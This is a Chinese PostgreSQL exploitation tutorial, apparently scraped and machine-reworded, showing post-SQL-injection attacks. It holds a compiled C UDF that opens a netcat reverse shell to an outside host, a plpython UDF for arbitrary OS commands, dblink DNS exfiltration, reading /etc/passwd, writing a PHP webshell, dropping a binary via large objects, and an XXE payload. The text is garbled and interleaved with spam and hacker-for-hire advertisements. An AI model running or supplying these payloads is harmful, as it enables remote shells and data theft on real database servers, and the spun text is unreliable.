大致和 MySQL 类似,有一些自变量不一样。实际就已不举例说明,能看这篇小结: *** 黑客大批量侵入网站教程
除此之外,运用 sqlmap 也是一个非常好的 *** 。
sqlmap 得出的好多个 UDF 在我当地检测并失败,因此更好是的方式是自身编译程序一个动态链接库。
依据官方网文本文档,我们要界定一个 PG_MODULE_MAGIC。在 PostgreSQL 这个是以便 Postgresql 的安全性体制(大约?),在 8.2 之后必须认证这一 magic block,要不然,在加进动态链接库的情况下会出错:黑客攻击网址初级教程
ERROR: incompatible library "xxx.so": missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
实行DOS命令的动态链接库源代码为:
#!c
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
text *exec()
{
system("nc -e /bin/bash 10.211.55.2 9999");
}
运用以下指令编译程序 .so 文档:
#!bash
gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so
在 pgsql 里实行:
#!sql
CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/1.so', 'exec' LANGUAGE C STRICT;
select exec();
监视的 9999 端口号获得一个 shell:
默认设置 PostgreSQL 不容易安裝 Python 的拓展,在 Ubuntu 下能够 根据:
#!bash
apt-get install postgresql-plpython-9.1
开展安裝,除开 python 的拓展,也有 sh、perl、ruby 这些。
安裝进行后,更先是建立一个 UDF 来实行我们要实行的指令:
#!sql
CREATE FUNCTION system (a text)
RETURNS text
AS $$
import os
return os.popen(a).read()
$$ LANGUAGE plpython2u;
在其中的 plpython2u 能够 运用以下句子获得:
select * from pg_language;
根据黑客攻击网址初级教程我们可以依据回到来分辨运用哪一个語言(plpython2u、plpythonu、plpython3u 这些)。
建立好 UDF 后,立即启用以下句子就可以:
#!sql
select system('ls -la');
除此之外,sh、ruby 等同样,能够 参照官方网文本文档来写一个 UDF。
一样的,PostgreSQL 能够 根据 DNS Request 一样读取数据,在盲注的状况下。采用的一个拓展称为 dblink
,能够 根据以下指令打开:
#!sql
C
REATE EXTENSION dblink
然后运作以下句子,获得当今数据库查询客户名字:
#!sql
SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
远程控制获得到恳求內容:
PostgreSQL 读取文件尽管一些睾丸疼,可是還是能够 载入的:
#!sql
CREATE TABLE temptable(t text);
COPY temptable FROM '/etc/passwd';
SELECT * FROM temptable limit 1 offset 0;
载入完毕后:
#!sql
DROP TABLE temptable;
写文档分成2个一部分,一个是写 webshell,此外一个是写二进制文件。
写 webshell 十分简易,运用:黑客攻击网址初级教程=and
#!php
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
就可以写一个文档。
依据疯子的这一篇贴子:zone.wooyun.org/content/4971,说成能够 运用 PostgreSQL 的“大目标数据信息”来写,可是我检测是不成功的。出错以下:
#!bash
ERROR: pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378
用 COPY 的 FORMAT 位 binary 来写文档得话,会被 PostgreSQL 再加好多个字节数,造成不可以鉴别为 ELF 文档。
事实上,阅读文章官方网文本文档得知,写的文档每一页不可以超出 2KB,因此我们要把数据信息按段:
#!sql
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INT
O pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);
在其中每一段必须不大于 2KB,那样就可以取得成功载入:
老版本的 PostgreSQL 存有 XXE 系统漏洞。实际能看本文: *** 黑客网站入侵初级教程
大致便是实行句子:
#!sql
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');
能够 获得一些数据信息,还可以开展 SSRF 等。但是由于时代好长时间,将会许多 都修补已过,因此做为一个保存计划方案,将会会出现意外之喜。
对于新笔写一点渗入的小构思、小窍门,关键讲的是构思,全部不容易太详尽。 网络黑客网上接单常常逛一些好的blog或是门户网站,坚持不懈出来,每日学一点构思,你能累积到很...
改社保怎么找黑客 1、黑客接单还能修改。改社保入侵网址接单点击忘记支付黑客密码。别怕,command。找客单QQ申诉只能再你的地方找回来,穿越时空的少女,这样的找黑客黑客名字叫雷锋,巫师系列,||。改...
0×01 序言 倘若,有一个连接点,能够 浏览内部网服务器网段,怎样尽量的发觉服务器网段中将会遭遇的威协、存有的安全性缺点?网络黑客接单子:侵入网站教程...
互联网时代,人们对个人信息安全及软件安全非常关注。如果常用软件出现安全漏洞,将有可能给个人或企业带来巨大的损失。据悉,近日一些用户收到了来自微软电子邮件,被告知Outlook的网页邮箱服务遭到了黑客的...
一个怎么找黑客 1、黑客乌克兰局势找黑客又不稳定,一个接单入侵服务器比如你自想做免杀最好汇编要懂,当詹姆斯的入侵行为被黑客发现后,几分钟后,寻找黑客文件和打印共享。20,您否也因为不太了解网站技术的问...
今日给大伙儿产生的是8种网址引入方法,过程引入是一种广泛运用于恶意程序和无文档进攻中的躲避技术性,这必须在另一个过程的详细地址室内空间内运作自定编码。过程引入提升了隐秘性...